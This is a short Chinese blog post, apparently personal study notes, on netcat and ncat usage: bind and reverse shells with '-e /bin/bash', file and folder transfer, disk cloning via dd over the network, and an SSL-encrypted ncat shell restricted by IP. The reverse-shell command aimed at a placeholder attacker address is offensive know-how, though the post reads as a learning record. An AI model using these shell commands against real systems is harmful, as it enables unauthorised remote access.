nc和ncat的特殊使用
在平常使用nc只会反弹shell,和文件传输,这里学到一些其他的使用方法记录一下
反弹shell
# 反弹shell
nc -lvp 4444 -e /bin/bash
nc -nv target_ip target_port
# 常用的反弹shell
nc -lvp 4444
nc -nv attack_ip attack_port -e /bin/bash
注意:在最新的netcat中,不支持-e或者是-c参数,建议安装Nmap的模块Ncat,提供了丰富nc的特殊功能。
文件传输
# 接收方
nc -lvp 4444 > test.txt
# 将4444端口监听到的信息保存到 test.txt 文件中
# 传输方
nc -nv target_ip target_port < a.txt
# 将 a.txt 传输到目标服务器
# 另一种方法
# 传输方
nc -lvp 4444 < a.txt
# 将 a.txt 内容传输给连接到的 4444 端口
# 接收方
nc -nv target_ip target_port > test.txt
# 连接到目标的短裤,将数据保存到 test.xt
配合tar命令传输文件夹
# 接收方
nc -lvp 4444 | tar -xvf -
# 传输方
tar -cvf - 目录名 | nc -nv target_ip target_port
# 另一种方法
# 传输方
tar -cvf - 目录名 | nc -lvp 4444
# 接收方
nc -nv target_ip target_port | tar -xvf -
配合dd命令远程克隆磁盘
# 克隆磁盘的一段
nc -lvp 4444 | dd of=/dev/sda_copy
# 远程服务器
dd if=/dev/sda | nc -nv target_ip target_port -q 1
# 将 /dev/sda 传输到需要克隆机器中的 /dev/sda_copy 设备中
其中-q 1参数代表,传输完成自动退出,在传输文件、文件夹中也可以加入该参数。这里也有另一种反过来的方法复制,这里不再演示
Ncat的使用
Ncat是nc的一个升级版,Ncat可以使用任何nc可以执行的操作(例如我们上述执行的操作),Ncat也有其特殊的功能。
nc在进行传输数据的时候是明文传输,Ncat可以使用SSL加密解决这个问题;并且进行反弹shell的操作时,监听的shell任何人都可以连接,ncat也可以解决这个问题
常用的参数:
--ssl:采用ssl加密连接--allow: 指定可以连接的IP地址
使用实例:
# 共享shell的一方
ncat -lp 4444 --ssl -e /bin/bash --allow 192.168.100.123
# 共享shell到4444端口,启用ssl加密传输,并且只有 192.168.100.123 这个IP地址可以连接
# 连接shell的一方
ncat -nv target_ip target_port --ssl

浙公网安备 33010602011771号